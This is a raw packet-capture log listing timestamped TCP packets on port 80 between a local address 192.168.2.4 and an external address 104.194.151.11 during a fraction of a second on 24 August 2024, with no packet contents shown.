Aug 24, 2024 12:21:59.204694986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204705000 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.204705954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204716921 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204724073 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.204731941 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204742908 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204746008 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.204752922 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204762936 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204771042 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.204773903 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204782963 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.204785109 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204794884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204799891 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.204804897 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204821110 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.204823971 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204834938 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204843998 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.204845905 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204858065 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204863071 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.204870939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.204889059 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.204901934 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.241928101 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.241951942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.241962910 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.241971016 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.241983891 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.241992950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.242005110 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.242011070 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.242021084 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.242033005 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.242034912 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.242044926 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.242063999 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.293941021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.293956041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.293966055 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.293976068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.293987036 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.293988943 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294004917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294018030 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294018984 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294027090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294038057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294042110 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294049978 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294055939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294065952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294075012 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294075966 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294085979 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294095993 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294099092 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294107914 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294122934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294126034 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294126034 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294135094 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294150114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294151068 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294159889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294162989 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294171095 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294178963 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294182062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294193983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294199944 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294199944 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294204950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294214964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294214964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294229031 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294239044 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294239998 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294250011 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294255972 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294275045 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294296026 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294327974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294337988 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294347048 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294362068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294368029 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294373989 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294384003 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294388056 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294401884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294409990 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294413090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294423103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294428110 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294440031 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294446945 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294452906 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294461012 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294469118 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294471979 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294481993 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294495106 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294507027 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294523954 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294624090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294637918 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294647932 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294665098 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294673920 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294688940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294691086 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294703007 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294713974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294725895 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294725895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294747114 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294770956 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294791937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294802904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294821978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294831991 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294833899 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294843912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294847012 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294853926 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294856071 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294866085 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294867992 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294878006 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294886112 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294888973 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294907093 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294926882 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.294972897 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294984102 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.294996023 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295006990 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295010090 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295017958 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295033932 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295034885 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295058966 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295061111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295070887 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295073986 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295080900 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295087099 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295093060 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295104027 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295104980 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295114994 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295120001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295135021 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295135021 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295145035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295156002 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295165062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295175076 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295183897 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295186996 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295197010 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295202971 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295228958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295228958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295299053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295311928 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295321941 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295341015 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295363903 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295449972 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295460939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295475960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295486927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295490980 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295497894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295511961 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295530081 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295627117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295636892 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295646906 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295655966 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295669079 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295672894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295684099 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295686960 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295695066 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295705080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295708895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295717001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295727015 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295731068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295733929 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295743942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295753956 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295759916 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295763969 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295772076 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295774937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295785904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295790911 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295810938 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295831919 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295903921 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295916080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295926094 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295936108 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295948982 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295950890 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.295964956 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295964956 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295975924 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.295994997 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.332881927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.332905054 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.332921982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.332932949 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.332938910 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.332943916 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.332962036 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.332999945 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.333062887 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.333074093 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.333106041 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384305000 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384324074 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384335995 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384350061 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384350061 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384366989 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384371042 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384377003 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384387016 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384392977 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384397984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384408951 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384418964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384429932 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384430885 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384439945 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384449959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384450912 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384460926 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384476900 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384476900 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384495974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384504080 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384509087 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384517908 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384526014 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384529114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384545088 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384546995 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384555101 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384566069 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384576082 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384582043 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384582996 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384593964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384603024 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384613037 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384614944 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384625912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384637117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384643078 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384650946 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384675026 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384681940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384691000 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384700060 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384716034 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384721041 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384727955 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384740114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384746075 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384751081 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384761095 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384771109 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384793043 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384802103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384813070 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384821892 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384833097 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384843111 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384862900 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384876966 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384882927 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384887934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384905100 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384911060 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384915113 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384924889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384941101 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384968996 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384969950 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.384984970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.384994984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385014057 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385035992 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385063887 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385075092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385085106 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385107994 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385119915 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385135889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385147095 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385159969 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385170937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385181904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385188103 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385188103 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385221004 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385504007 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385514975 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385525942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385536909 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385540962 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385548115 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385556936 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385557890 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385567904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385576963 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385577917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385595083 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385605097 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385613918 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385616064 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385622025 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:59.385627985 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:59.385637999 CEST	80	49730	104.194.151.11	192.168.2.4
